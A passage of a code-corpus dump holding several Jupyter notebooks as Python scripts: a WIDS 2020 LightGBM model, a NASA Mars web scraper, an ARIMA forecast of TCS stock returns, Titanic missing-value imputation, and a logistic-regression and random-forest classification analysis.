pd.read_csv('solution_template.csv')\nsolution_template.head()\n\n# Let's do Simple lightgbm modelling\n\nimport lightgbm as lgb\nimport numpy as np\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.metrics import auc, accuracy_score, roc_auc_score, roc_curve, f1_score\nfrom sklearn.model_selection import GridSearchCV\n\nfrom sklearn.model_selection import train_test_split, StratifiedKFold, KFold\n\n\ny = train['hospital_death']\nX = train.drop(['hospital_death'], axis=1)\n\nskf = StratifiedKFold(n_splits = 5)\nskf.get_n_splits(X, y)\nprint(skf)\n\n\nfor train_index, test_index in skf.split(X, y):\n print('Train:', train_index, 'Test:', test_index)\n X_train, X_test = X.loc[train_index], X.loc[test_index]\n y_train, y_test = y.loc[train_index], y.loc[test_index]\n\n# +\nestimator = lgb.LGBMClassifier(learning_rate = 0.15, metric = 'l1', \n n_estimators = 24, num_leaves = 38)\n\n\nparam_grid = {\n 'n_estimators': [x for x in range(24,40,2)],\n 'learning_rate': [0.10, 0.125, 0.15, 0.175, 0.2]}\ngridsearch = GridSearchCV(estimator, param_grid)\n\ngridsearch.fit(X_train, y_train,\n eval_set = [(X_test, y_test)],\n eval_metric = ['auc', 'binary_logloss'],\n early_stopping_rounds = 5,\n verbose = 1)\n# -\n\nprint('Best parameters found by grid search are:', gridsearch.best_params_)\n\n# +\ngbm = lgb.LGBMClassifier(learning_rate = 0.1, metric = 'l1', \n n_estimators = 34)\n\n\ngbm.fit(X_train, y_train,\n eval_set=[(X_test, y_test)],\n eval_metric=['auc', 'binary_logloss'],\nearly_stopping_rounds=5)\n\n# -\n\ntest.head()\n\ny_pred = gbm.predict_proba((test.drop('hospital_death', axis = 1)))[:, 1]\n\ny_pred\n\nyy = gbm.predict_proba(X_test)[:, 1]\n\nroc_auc_score(y_test, yy)\n\nsolution_template['hospital_death'] = y_pred\n\nsolution_template\n\nfilename = 'gbm_01.csv'\nsolution_template.to_csv(filename,index = False)\nprint('saved file:' + filename)\n\n\n","repo_name":"E-STAT/WIDS-2020-kaggle","sub_path":"WIDS_datathon.ipynb","file_name":"WIDS_datathon.ipynb","file_ext":"py","file_size_in_byte":4150,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-jupyter-script","pt":"11"} +{"seq_id":"8536349308","text":"# ### Setup\n\n# Dependencies\nfrom splinter import Browser\nfrom bs4 import BeautifulSoup\nimport pandas as pd\nfrom pprint import pprint\n\nexecutable_path = {'executable_path': 'chromedriver.exe'}\nbrowser = Browser('chrome', **executable_path, headless=False)\n\n# ### NASA Mars News\n\n# URL of page to be scraped\nurl = 'https://mars.nasa.gov/news/'\nbrowser.visit(url)\n\n# Create BeautifulSoup object; parse with 'html.parser'\nhtml = browser.html\nmars_news_soup = BeautifulSoup(html, 'html.parser')\n\n# Scrape the first article title\nnews_title = mars_news_soup.find('div', class_='content_title').text\nnews_title \n\n# Scrape the first article teaser paragraph text\nnews_p = mars_news_soup.find('div', class_='article_teaser_body').text\nnews_p \n\n# ### JPL Mars Space Images - Featured Image\n\n# URL of page to be scraped\nurl = 'https://www.jpl.nasa.gov/spaceimages/?search=&category=Mars'\nbrowser.visit(url)\n\n# Go to 'FULL IMAGE'\nbrowser.click_link_by_partial_text('FULL IMAGE')\n\n# Go to 'more info'\nbrowser.click_link_by_partial_text('more info')\n\n# Create BeautifulSoup object; parse with 'html.parser'\nhtml = browser.html\nimage_soup = BeautifulSoup(html, 'html.parser')\n\n# Scrape the URL\nfeat_img_url = image_soup.find('figure', class_='lede').a['href']\nfeatured_image_url = f'https://www.jpl.nasa.gov{feat_img_url}'\nfeatured_image_url\n\n# ### Mars Weather\n\n# URL of page to be scraped\nurl = 'https://twitter.com/marswxreport?lang=en'\nbrowser.visit(url)\n\n# Create BeautifulSoup object; parse with 'html.parser'\nhtml = browser.html\ntweet_soup = BeautifulSoup(html, 'html.parser')\n\n# Scrape the tweet info\nmars_weather = tweet_soup.find('p', class_='TweetTextSize').text\nmars_weather\n\n# ### Mars Facts\n\n# Scrape the table of Mars facts\nurl = 'https://space-facts.com/mars/'\ntables = pd.read_html(url)\nspace_facts_df = tables[1]\nspace_facts_df.columns = ['Property', 'Value']\nspace_facts_df\n\n# ### Mars Hemispheres\n\n# Visit hemispheres website through splinter module \nhemispheres_url = 'https://astrogeology.usgs.gov/search/results?q=hemisphere+enhanced&k1=target&v1=Mars'\nbrowser.visit(hemispheres_url)\n\n# +\n# HTML Object\nhtml_hemispheres = browser.html\n\n# Parse HTML with Beautiful Soup\nsoup = BeautifulSoup(html_hemispheres, 'html.parser')\n\n# Retreive all items that contain mars hemispheres information\nitems = soup.find_all('div', class_='item')\n\n# Create empty list for hemisphere urls \nhemisphere_image_urls = []\n\n# Store the main_ul \nhemispheres_main_url = 'https://astrogeology.usgs.gov'\n\n# Loop through the items previously stored\nfor i in items: \n # Store title\n title = i.find('h3').text\n \n # Store link that leads to full image website\n partial_img_url = i.find('a', class_='itemLink product-item')['href']\n \n # Visit the link that contains the full image website \n browser.visit(hemispheres_main_url + partial_img_url)\n \n # HTML Object of individual hemisphere information website \n partial_img_html = browser.html\n \n # Parse HTML with Beautiful Soup for every individual hemisphere information website \n soup = BeautifulSoup( partial_img_html, 'html.parser')\n \n # Retrieve full image source \n img_url = hemispheres_main_url + soup.find('img', class_='wide-image')['src']\n \n # Append the retreived information into a list of dictionaries \n hemisphere_image_urls.append({\"title\" : title, \"img_url\" : img_url})\n \n\n# Display hemisphere_image_urls\nhemisphere_image_urls\n","repo_name":"jorgelmarquez94/MissionToMars","sub_path":"mission_to_mars.ipynb","file_name":"mission_to_mars.ipynb","file_ext":"py","file_size_in_byte":3431,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-jupyter-script","pt":"11"} +{"seq_id":"295378190","text":"# # Predicting TCS stock price using ARIMA model\n\n# By Aditya Laxmikant Kelkar\n\n# In this notebook , we will take TCS's closing price on daily basis and try to predict next day's closing price with the help of ARIMA i.e. AutoRegressive Integrated Moving Averages model .\n\n# Importing necessary libraries ...\n\n# +\n# %matplotlib inline\n\nimport pandas as pd\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport datetime\n\n# %config InlineBackend.figure_format = \"retina\"\n# -\n\n# Downloaded data from YahooFinance into CSV file .\n#\n# Then we will import the CSV file and \n# set the date column as index to make it a time series .\n\n# +\ntcs_data = pd.read_csv('TCS_NSE_Daily_20Years.csv')\ntcs_data['Date'] = pd.to_datetime(tcs_data['Date'])\ntcs_data.sort_values('Date',inplace=True)\ntcs_data.set_index('Date',inplace=True)\n\ntcs_data.shape\n# -\n\ntcs_data.head()\n\n# # Preparing the data to use for ARIMA model\n\n# We will first calculate daily returns .\n\ntcs_data['daily_returns'] = np.log(tcs_data['Close']).diff()\ntcs_data.head()\n\ntcs_data.dropna(inplace=True)\n\ntcs_data.daily_returns.plot(kind='line',figsize=(12,6))\n\ndaily_returns = tcs_data.drop(['Open','High','Low','Close','Adj Close','Volume'],axis=1)\ndaily_returns.head()\n\n# # We will run Dickey-Fuller Test to check for Stationarity of Data\n\nimport statsmodels.api as sm\nfrom statsmodels.tsa.stattools import adfuller\n\nrolling_mean = daily_returns.rolling(20).mean()\nrolling_sd = daily_returns.rolling(20).std()\n\nplt.figure(figsize=(10,10))\noriginal_data = plt.plot(daily_returns,color='blue',label='Original')\nrmean = plt.plot(rolling_mean,color='red',label='Rolling Mean')\nrstd = plt.plot(rolling_sd,color='black',label='Rolling SD')\nplt.legend(loc='best')\nplt.show(block=False)\n\n# Now we will perform Dickey-Fuller Test\n\n# +\ndf_test = sm.tsa.adfuller(daily_returns.daily_returns,autolag='AIC')\ndfoutput = pd.Series(df_test[0:4],index=['Test Statistics','p-value','#Lags Used','No of Observations used'])\nfor key,value in df_test[4].items():\n dfoutput['Critical value ({0})'.format(key)]=value\n \ndfoutput\n# -\n\n# The p-value is <0.05 so we reject the null hypothesis . \n#\n# Conclusion : The data is stationary\n\n# # ACF and PACF\n\n# ACF gives us pictorial representation of how much current Y value i.e. Today's Stock Price is correlated to previous n Y values.\n#\n# PACF gives value of correlation between two Y values separated by 'n' lags excluding impact of Y values between them .\n#\n# These charts help us to set the hyperparameters of the model .\n\n# +\nfrom statsmodels.graphics.tsaplots import plot_acf\n\nfig , auto_x = plt.subplots(figsize=(10,6))\nplot_acf(daily_returns.values,lags=10,ax=auto_x)\nplt.show()\n# -\n\n# From above diagram it is clear that current Y value is highly correlated with 1 prior value of Y .\n\n# +\nfrom statsmodels.graphics.tsaplots import plot_pacf\n\nfig , auto_x = plt.subplots(figsize=(10,6))\nplot_pacf(daily_returns.values,lags=10,ax=auto_x)\nplt.show()\n# -\n\n# .\n\n# # Building the ARIMA model\n\n# +\nfrom statsmodels.tsa.arima.model import ARIMA\n\narima_model_test = ARIMA(daily_returns.values,order=(1,7,1)).fit()\narima_model_test.summary()\n# -\n\narima_model_test_2 = ARIMA(daily_returns.values,order=(3,1,1)).fit()\narima_model_test_2.summary()\n\narima_model_test_3 = ARIMA(daily_returns.values,order=(3,7,1)).fit()\narima_model_test_3.summary()\n\nplt.figure(figsize=(10,6))\nplt.plot(daily_returns.values,color='blue')\npredictions = arima_model_test.fittedvalues\nplt.plot(predictions,color='red')\nplt.show()\n\nplt.figure(figsize=(10,6))\nplt.plot(daily_returns.values,color='blue')\npredictions = arima_model_test_2.fittedvalues\nplt.plot(predictions,color='red')\nplt.show()\n\nplt.figure(figsize=(10,6))\nplt.plot(daily_returns.values,color='blue')\npredictions = arima_model_test_3.fittedvalues\nplt.plot(predictions,color='red')\nplt.show()\n\n# Lets predict values 2 days/weeks ahead using 3 models that we have fit .\n\n# +\nsteps = 2\n\nforecasted_values = arima_model_test.forecast(steps=steps)\n\nplt.figure(figsize=(10,10))\nplt.plot(daily_returns.values,color='blue')\n\npredictions_1 = arima_model_test.fittedvalues\n#plt.plot(predictions_1,color='red')\n\nplt.plot(pd.DataFrame(np.array([predictions_1[-1],forecasted_values[0]]).T,index=range(len(daily_returns.values)+1,len(daily_returns.values)+3)),color='green')\nplt.title('Predictions with ARIMA model')\nplt.show()\n\nprint(pd.DataFrame(np.array([predictions_1[-1],forecasted_values[0]])))\n\n# +\nsteps = 2\n\nforecasted_values = arima_model_test_2.forecast(steps=steps)\n\nplt.figure(figsize=(10,10))\nplt.plot(daily_returns.values,color='blue')\n\npredictions_1 = arima_model_test.fittedvalues\n#plt.plot(predictions_1,color='red')\n\nplt.plot(pd.DataFrame(np.array([predictions_1[-1],forecasted_values[0]]).T,index=range(len(daily_returns.values)+1,len(daily_returns.values)+3)),color='green')\nplt.title('Predictions with ARIMA model')\nplt.show()\n\nprint(pd.DataFrame(np.array([forecasted_values[0],forecasted_values[1]])))\n\n# +\nsteps = 2\n\nforecasted_values = arima_model_test_3.forecast(steps=steps)\n\nplt.figure(figsize=(10,10))\nplt.plot(daily_returns.values,color='blue')\n\npredictions_1 = arima_model_test.fittedvalues\n#plt.plot(predictions_1,color='red')\n\nplt.plot(pd.DataFrame(np.array([predictions_1[-1],forecasted_values[0]]).T,index=range(len(daily_returns.values)+1,len(daily_returns.values)+3)),color='green')\nplt.title('Predictions with ARIMA model')\nplt.show()\n\nprint(pd.DataFrame(np.array([predictions_1[-1],forecasted_values[0]])))\n# -\n\n# Calculating next day price...\n\nlatest_price = tcs_data.iloc[-1].tolist()\nlatest_close = latest_price[3]\nlatest_close\n\nforecasted_price = np.log(latest_close)+forecasted_values[0]\nforecasted_price = np.exp(forecasted_price)\nforecasted_price\n\nforecasted_price_2 = np.log(latest_close)+forecasted_values[1]\nforecasted_price_2 = np.exp(forecasted_price_2)\nforecasted_price_2\n\n\n","repo_name":"aditya0709/ARIMA_model","sub_path":"Predicting_Stock_Prices_Using_ARIMA_Model.ipynb","file_name":"Predicting_Stock_Prices_Using_ARIMA_Model.ipynb","file_ext":"py","file_size_in_byte":5834,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-jupyter-script","pt":"11"} +{"seq_id":"74255642267","text":"# #
Titanic dataset for handling missing values\n\nimport numpy as np\nimport pandas as pd\n\ndf=pd.read_csv('titanic.csv')\n#copying the dataframe\nnew_df=df.copy()\n\ndf.head(10)\n\ndf.shape\n\n#summary statistics of data\ndf.describe()\n\n#viewing the datatype pf each column\ndf.dtypes\n\ndf.isnull().sum()\n\n# Number of non - null values in the data\ndf.notnull().sum()\n\n# Number of non - null values in the data\ndf.info()\n\n#deleting rows\nmod_df=df.dropna()\n#no of non-null values in modified data\nmod_df.info()\n\n# Drop column that has maximum null value\n\n# +\n# Set the limit\n# Drop columns using that limit\nlimit=len(df)*0.7\nnew=df.dropna(axis=1,thresh=limit)\n\n#view columns in the dataset\nnew.columns\n# -\n\n# Cabin column is dropped since it had 687 null value out of 891\n\n# The mean of the numerical column data is used to replace null values when the data is normally distributed. Median is used if the data comprised of outliers. Mode is used when the data having more occurences of a particular value or more frequent value.\n\ndf['Age']=df['Age'].replace(np.nan,df['Age'].mean())\n\n# Backward fill or Forward fill can be used to impute the previous or next values\n\n# Backward fill\ndf['Age']=df['Age'].fillna(method='bfill')\n#Forward fill\ndf['Age']=df['Age'].fillna(method='ffill')\n\n# **Replacing null values with mean using SciKit Learn’s SimpleImputer class**\n\n# +\n# Replacing the null values in the Age column with Mean\nfrom sklearn.impute import SimpleImputer\nimputer=SimpleImputer(missing_values=np.nan,strategy='mean')\n\n# Fit and transform to the parameters\nnew_df['Age']=imputer.fit_transform(new_df[['Age']])\n\n#checking for any null values\nnew_df['Age'].isnull().sum()\n# -\n\n# Alternatively, we can replace null values with median, most frequent value and also with an constant\n# Replace with Median\nimputer = SimpleImputer(missing_values=np.nan, strategy='median')\nnew_df['Age'] = imputer.fit_transform(new_df[['Age']])\nnew_df['Age'].isnull().sum()\n\n# **Handling Missing values in Categorical data**\n\ndf[['Cabin','Embarked']].head()\n\ndf[['Cabin', 'Embarked']].isnull().sum()\n\n# Most frequent values in the Embarked column data\ndf['Embarked'].value_counts()\n\n# Replacing the null values with the most frequent value\ndf['Embarked'] = df['Embarked'].fillna(df['Embarked'].value_counts().index[0])\n\n# Checking for null values in the Embarked Column\ndf['Embarked'].isnull().sum()\n# Value counts for Embarked column\n# df['Embarked'].value_counts()\n\n# Replacing null values with Unknown Class\ndf['Cabin'] = df['Cabin'].fillna('Unknown')\n# Value counts for Cabin Column\ndf['Cabin'].value_counts()\n\n# Checking for null values in Cabin column\ndf['Cabin'].isnull().sum()\n\n# Same using skikit learn\n\n# Replacing null values in Embarked with most frequent value\nimputer = SimpleImputer(missing_values=np.nan, strategy='most_frequent')\nnew_df['Embarked'] = imputer.fit_transform(new_df[['Embarked']])\n# Value counts for Embarked column\nnew_df['Embarked'].value_counts()\n\n# Replacing null values in Cabin with Unknown class\nimputer = SimpleImputer(missing_values=np.nan, strategy='constant', fill_value='Unknown')\nnew_df['Cabin'] = imputer.fit_transform(new_df[['Cabin']])\n# Checking for null values in the Cabin column\nnew_df['Cabin'].isnull().sum()\n# Value counts for Cabin column\nnew_df['Cabin'].value_counts().head(5)\n\ndf.info()\n\n# Save to an csv file\ndf.to_csv('data_titanic.csv')\nnew_df.to_csv('data_titanic-new.csv')\n\n\n","repo_name":"arunkarthick2003/Machine-learning","sub_path":"Titanic__Handling Missing Data/Titanic__handling_missing_values.ipynb","file_name":"Titanic__handling_missing_values.ipynb","file_ext":"py","file_size_in_byte":3416,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-jupyter-script","pt":"11"} +{"seq_id":"86689205840","text":"#importing libraries\nfrom copy import copy\nimport pandas as pd\nimport numpy as np\nfrom matplotlib import pyplot as plt\nimport seaborn as sns\nfrom sklearn.tree import DecisionTreeRegressor\nfrom sklearn.ensemble import RandomForestClassifier\nfrom sklearn.linear_model import Ridge, LogisticRegression\nfrom scipy import stats\nimport matplotlib.pyplot as plt\nimport seaborn as sns\nfrom sklearn.model_selection import train_test_split, cross_val_score, GridSearchCV, cross_validate, KFold\nfrom sklearn.metrics import plot_confusion_matrix, precision_score, recall_score, confusion_matrix, ConfusionMatrixDisplay, roc_curve, auc, accuracy_score\nfrom sklearn.preprocessing import StandardScaler\n# %matplotlib inline\npd.set_option('display.max_columns', 35)\n\n# ### Reading the data\n\ntrain_data = pd.read_excel(\"data/Ex1_2.xlsx\", sheet_name = 1)\n\n#look at shape of the data\ntrain_data.shape\n\n#count duplicated data\ntrain_data.duplicated().sum()\n\n# Let's look at the data\n\ntrain_data.head(20)\n\n# Print summary statistics for each variable\n\ntrain_data.describe()\n\n# Check the types of features\n\ntrain_data.dtypes\n\ntrain_data.Target.value_counts()\n\ntrain_data.P5.value_counts()\n\ntrain_data.P4.value_counts()\n\n# P4, P5 and Target has discrete values, all other variables are continuous\n\n#making lists with categorical and numerical features\ncat_cols = [\"P4\", \"P5\", \"Target\"]\nnum_cols = [column for column in train_data.columns if column not in cat_cols]\n\n# ### Working with missing data\n\n# Print overall count of missing values for features with nans\n\nmiss_data = pd.DataFrame({\n 'Missing': train_data.isna().sum(),\n 'Missing(%)': (train_data.isna().sum() / train_data.shape[0]) * 100\n}).sort_values(by='Missing', ascending=False).query(\"Missing != 0\")\nmiss_data\n\n# There are about **15% missing values** for 6 features\n\n# Let's check the dependecies between whether the feature is known and the target\n\nmiss_cols = miss_data.index.to_list()\nfor col in miss_cols:\n print(train_data.groupby(train_data[col].notna()).mean().Target)\n\n# There are no visible relationships between target and whether the feature is known or not. \n\n# Let's see how features with missing values can help us to predict the target. \n\nfig, axs = plt.subplots(2, 3, figsize=(14, 9))\nfor i, col in enumerate(miss_cols):\n sns.boxplot(ax=axs[i // 3][i % 3], x=train_data.Target ,y=train_data[col])\n axs[i // 3][i % 3].set_ylabel(f\"{col}\") \n\n# We can see that **P2 and P16** could be a good predictors\n\n# Maybe we can predict the missing values by another column with known features. Let's check the relationships\n\ncorrelation_matrix = train_data.corr()\nfor miss_col in miss_cols:\n query = list(correlation_matrix[miss_col].abs().sort_values(ascending=False)[1:4].items())\n res = f\"{query[0][0]} - {query[0][1]} \\n{query[1][0]} - {query[1][1]}\\n{query[2][0]} - {query[2][1]}\"\n print(f\"Missing col - {miss_col} correlated with:\\n{res}\\n\")\n\nplt.figure(figsize=(14,9))\nplt.subplot(2,3,1) \nsns.scatterplot(data=train_data, x=\"P29\", y=\"P31\")\nplt.subplot(2,3,2) \nsns.scatterplot(data=train_data, x=\"P16\", y=\"ID\")\nplt.subplot(2,3,3) \nsns.scatterplot(data=train_data, x=\"P8\", y=\"P6\")\nplt.subplot(2,3,4) \nsns.scatterplot(data=train_data, x=\"P2\", y=\"P24\")\nplt.subplot(2,3,5) \nsns.scatterplot(data=train_data, x=\"P25\", y=\"P17\")\nplt.subplot(2,3,6) \nsns.scatterplot(data=train_data, x=\"P3\", y=\"P31\");\n\n\n# We can see good dependencies:\n# - P29 with P31\n# - P16 with ID\n# - P2 with P24\n# - P25 almost linear with P17\n# - P3 with P31\n#\n# Let's imput missing values with different approaches:\n# 1. P29 will be predicted from P31 with linear regression;\n# 2. P16 will be predicted from ID with DecisionTree regressor;\n# 3. P8 imput median value, because I don't see some significal relationship\n# 4. P2 will be predicted from P24 with DecisionTree regressor;\n# 5. P25 will be predicted from P17 with linear regression (but probably later we will drop this column because of collinearity problem)\n# 6. P2 will be predicted from P31 with DecisionTree regressor;\n\n#write a function for imputting missing values by regressor model\ndef impute_values_by_regressor(dataframe, x, y, regressor=\"tree\"):\n \"\"\"x - col to input missing\n y - col to decision\"\"\"\n result_df = dataframe.copy()\n df = result_df[[x, y]]\n X_train = df[df[x].notna()]\n X_test = df[~df[x].notna()][y]\n y_train = X_train[x]\n X_train = X_train[y]\n X_train = X_train.values.reshape(-1, 1)\n X_test = X_test.values.reshape(-1, 1)\n if regressor == \"tree\":\n regr = DecisionTreeRegressor()\n elif regressor == \"linear\":\n regr = Ridge(alpha=1.0)\n regr.fit(X_train, y_train)\n preds = regr.predict(X_test)\n fill_values = list(preds) \n indicies_of_missing = result_df[result_df[x].isnull()].index \n for fill_index, dataframe_index in enumerate(indicies_of_missing):\n result_df.loc[dataframe_index, x] = fill_values[fill_index] \n return result_df\n\n\ndef impute_nuls(dataframe):\n data = dataframe.copy()\n data = impute_values_by_regressor(data, \"P29\", \"P31\", regressor=\"linear\")\n data = impute_values_by_regressor(data, \"P16\", \"ID\")\n data = impute_values_by_regressor(data, \"P2\", \"P24\")\n data = impute_values_by_regressor(data, \"P25\", \"P17\", regressor=\"linear\")\n data = impute_values_by_regressor(data, \"P3\", \"P31\")\n data[\"P8\"].fillna(data[\"P8\"].median(), inplace=True)\n return data\n\n\ndata = impute_nuls(train_data)\ndata\n\nsum(data.isna().sum())\n\n# Okay, now we don't have any missing values in data\n\n# ### Working with numerical cols\n\n# Now we plot the KDE charts for each variable to observe relationships with the target value\n\nplt.figure(figsize=(16,12))\nfor i, column in enumerate(data[num_cols].iloc[:,:8], 1):\n plt.subplot(4,2,i) \n sns.kdeplot(data.loc[data.Target == 1, column], label=\"target = 1\")\n sns.kdeplot(data.loc[data.Target == 0, column], label=\"target = 0\")\n plt.legend();\n\nplt.figure(figsize=(16,12))\nfor i, column in enumerate(data[num_cols].iloc[:,8:16], 1):\n plt.subplot(4,2,i) \n sns.kdeplot(data.loc[data.Target == 1, column], label=\"target = 1\")\n sns.kdeplot(data.loc[data.Target == 0, column], label=\"target = 0\")\n plt.legend();\n\nplt.figure(figsize=(16,12))\nfor i, column in enumerate(data[num_cols].iloc[:,16:24], 1):\n plt.subplot(4,2,i) \n sns.kdeplot(data.loc[data.Target == 1, column], label=\"target = 1\")\n sns.kdeplot(data.loc[data.Target == 0, column], label=\"target = 0\")\n plt.legend();\n\nplt.figure(figsize=(16,12))\nfor i, column in enumerate(data[num_cols].iloc[:,24:], 1):\n plt.subplot(4,2,i) \n sns.kdeplot(data.loc[data.Target == 1, column], label=\"target = 1\")\n sns.kdeplot(data.loc[data.Target == 0, column], label=\"target = 0\")\n plt.legend();\n\n# After looking at this charts we can make some conclusions:\n# - P1, P3, P7, P9, P13, P14, P19, P20, P21, P5, P18 will not help us to predict the target. And we can drop it for dimensional reduction;\n# - ID, P8, P16 could be a good features for prediction\n\n#drop redunant features\ndata2 = data.copy()\ndata2.drop(columns=[\"P1\", \"P3\", \"P7\", \"P9\", \"P13\", \"P14\", \"P19\", \"P20\", \"P21\", \"P5\", \"P18\"], inplace=True)\n\n# Plot the corr matrix between other features to see linear dependencies between features\n\ncorr_matrix = data2.corr()\nplt.figure(figsize=(14,10))\nsns.heatmap(corr_matrix, center=0, annot=True, cmap=\"viridis\", fmt='.2f');\n\n# P17 and P25 are linearly dependent features. Drop one of them:\n\ndata2.drop(columns=[\"P25\"], inplace=True)\n\n# And this is final dataset:\n\ndata2\n\n# ### Predictions\n\n# Prepare data for prediction:\n# - split to train and test set (75% : 25%)\n# - Z-score scaling of numerical columns\n\nX = data2.drop(columns=[\"Target\"])\ny = data2.Target\nX_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.25, random_state=2000, shuffle=True)\nscaler = StandardScaler()\nX_train = scaler.fit_transform(X_train)\nX_test = scaler.transform(X_test)\n\n# **We have only 10.000 samples in training data. And many noisy features. Let's use simple LogisticRegression model with L1\n# regularization.** \n#\n# Classes are balanced in target (50/50). So we can use accuracy metric for intermediate testing\n\nclf = LogisticRegression(random_state=0, C=0.5, penalty=\"l1\", solver=\"liblinear\", max_iter=1500).fit(X_train, y_train)\npreds = clf.predict(X_test)\naccuracy_score(y_test, preds)\n\n# **Accuracy - 0.71, not very good**\n\n# Plot the ROC curve\n\nfpr, tpr, thresholds = roc_curve(y_test, clf.predict_proba(X_test)[:,1])\nroc_auc= auc(fpr, tpr)\nplt.figure()\nplt.plot(fpr, tpr, color='darkorange',label='ROC curve (area = %0.2f)' % roc_auc)\nplt.plot([0, 1], [0, 1], color='navy', linestyle='--')\nplt.xlim([0.0, 1.0])\nplt.ylim([0.0, 1.05])\nplt.xlabel('False Positive Rate')\nplt.ylabel('True Positive Rate')\nplt.title('Receiver operating characteristic example')\nplt.legend(loc=\"lower right\")\nplt.show()\n\n# **ROC-AUC score is 0.78**\n\n# Let's do the cross-validation technique with 10 folds and roc-auc metric for more accurate estimation\n\nclf = LogisticRegression(random_state=0, C=0.5, penalty=\"l1\", solver=\"liblinear\", max_iter=500)\ncross_val_score(clf, X, y, cv=10, scoring=\"roc_auc\", n_jobs=-1)\n\n# Look's very interesting. We have very different results by each fold. Some of folds have **0.25 score**, when another has **0.9 and more**. \n\n# Make another train/test partitioning, with 0.1 test size and without shuffling the data. \n\nX = data2.drop(columns=[\"Target\"])\ny = data2.Target\nX_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.1, random_state=2000, shuffle=False)\nscaler = StandardScaler()\nX_train = scaler.fit_transform(X_train)\nX_test = scaler.transform(X_test)\nclf = LogisticRegression(random_state=0, C=0.5, penalty=\"l1\", solver=\"liblinear\", max_iter=1500).fit(X_train, y_train)\npreds = clf.predict(X_test)\naccuracy_score(y_test, preds)\n\nfpr, tpr, thresholds = roc_curve(y_test, clf.predict_proba(X_test)[:,1])\nroc_auc= auc(fpr, tpr)\nplt.figure()\nplt.plot(fpr, tpr, color='darkorange',label='ROC curve (area = %0.2f)' % roc_auc)\nplt.plot([0, 1], [0, 1], color='navy', linestyle='--')\nplt.xlim([0.0, 1.0])\nplt.ylim([0.0, 1.05])\nplt.xlabel('False Positive Rate')\nplt.ylabel('True Positive Rate')\nplt.title('Receiver operating characteristic example')\nplt.legend(loc=\"lower right\")\nplt.show()\n\n# Accuracy score increased to **0.81** and ROC-AUC to **0.93**.\n\n# **Probably we have some anomaly examples in our dataset. And it greatly affects the results depending on the splitting of the data. Examples with indexes from 7300 to 9300 have 2000 consecutive \"1\" in target. And from 9300 to the end have 700 consecutive \"0\". But we don't know where are our data came from and maybe these values also make sense. So let's just leave it at that.**\n\n# **To get an unbiased estimate of our model with this data we will use Nested-Cross-Validation**\n\n# ![NestedCV](https://i.stack.imgur.com/vh1sZ.png)\n\n#The code to run Nested-CV\nX = data2.drop(columns=[\"Target\"])\ny = data2.Target\nscaler = StandardScaler()\nX = scaler.fit_transform(X)\nscoring = {\n \"accuracy\": \"accuracy\", \n \"roc_auc\": \"roc_auc\",\n \"precision\": \"precision\",\n \"recall\": \"recall\"\n }\nclf = LogisticRegression(max_iter=500, solver=\"liblinear\", random_state=42, fit_intercept=True)\nparams = {\"C\": [0.01, 0.1, 0.5], \"penalty\":[\"l1\"]}\ncv_inner = KFold(n_splits=5, shuffle=True, random_state=42)\ngsc = GridSearchCV(\n clf, params, cv=cv_inner, scoring=\"roc_auc\", refit=True, n_jobs=-1\n )\ncv_outer = KFold(n_splits=5, shuffle=True, random_state=42)\nscores = cross_validate(gsc, X, y, scoring=scoring, cv=cv_outer, n_jobs=-1)\nroc_auc = np.mean(scores[\"test_roc_auc\"])\nprecision = np.mean(scores[\"test_precision\"])\nrecall = np.mean(scores[\"test_recall\"])\ngsc.fit(X, y)\nbest_model = gsc.best_estimator_\nbest_params = gsc.best_params_\nprint(f\"The best model is - {best_model}\")\nprint(f\"Precision - {precision}\")\nprint(f\"Recall - {recall}\")\nprint(f\"ROC-AUC score - {roc_auc}\")\n\n#plot the rocauc curve\nfpr, tpr, thresholds = roc_curve(y, best_model.predict_proba(X)[:,1])\nroc_auc= auc(fpr, tpr)\nplt.figure()\nplt.plot(fpr, tpr, color='darkorange',label='ROC curve (area = %0.2f)' % roc_auc)\nplt.plot([0, 1], [0, 1], color='navy', linestyle='--')\nplt.xlim([0.0, 1.0])\nplt.ylim([0.0, 1.05])\nplt.xlabel('False Positive Rate')\nplt.ylabel('True Positive Rate')\nplt.title('Receiver operating characteristic example')\nplt.legend(loc=\"lower right\")\nplt.show()\n\n# **Our final ROC-AUC is 0.78. With this data maybe it is not very bad.**\n\n# Plot the confusion matrix\n\nConfusionMatrixDisplay.from_estimator(best_model, X, y);\n\n# We have approximately the same count of false-positives and false-negatives.\n\n# Let's see where we got the most of false results\n\nbest_model.predict(X)\ndata3 = data2.copy()\ndata3[\"preds\"] = best_model.predict(X)\nsns.histplot(data3[data3.Target != data3.preds].index, bins=50);\n\n# The most of faults is concentrating near 7000-8000 rows and 9500-10000 of our data. Maybe there are very noisy data.\n\n# ### Feature importance\n\nX = data2.drop(columns=[\"Target\"])\ny = data2.Target\nX = scaler.fit_transform(X)\nscoring = { \n \"roc_auc\": \"roc_auc\" \n }\nclf = RandomForestClassifier(n_estimators=100)\nparams = {\n \"max_depth\": [13, 15],\n \"min_samples_leaf\": [9, 12],\n \"min_samples_split\": [30, 50, 70],\n }\ncv_inner = KFold(n_splits=3, shuffle=True, random_state=42)\ngsc = GridSearchCV(\n clf, params, cv=cv_inner, scoring=\"roc_auc\", refit=True, n_jobs=-1\n )\ncv_outer = KFold(n_splits=3, shuffle=True, random_state=42)\nscores = cross_validate(gsc, X, y, scoring=scoring, cv=cv_outer, n_jobs=-1)\nroc_auc = np.mean(scores[\"test_roc_auc\"])\ngsc.fit(X, y)\nmodel = gsc.best_estimator_\nbest_params = gsc.best_params_\n\ncolumns = data2.drop(columns=[\"Target\"]).columns\nfeature_importances = model.feature_importances_\nfeature_importances_df = pd.DataFrame({'features':list(columns), \n 'feature_importances': model.feature_importances_})\\\n .sort_values(by='feature_importances', ascending=False)\nf, ax = plt.subplots(figsize=(6, 6))\nsns.barplot(y=feature_importances_df.features, x=feature_importances_df.feature_importances)\nplt.xlabel('Importance')\nplt.ylabel('Features')\nplt.title(\"Feature importance\")\nplt.show()\n\n# **\"ID\", \"P16\" and \"P23\" are the most important features for target prediction.**\n\n# ### Prediction for the test set\n\ntest_data = 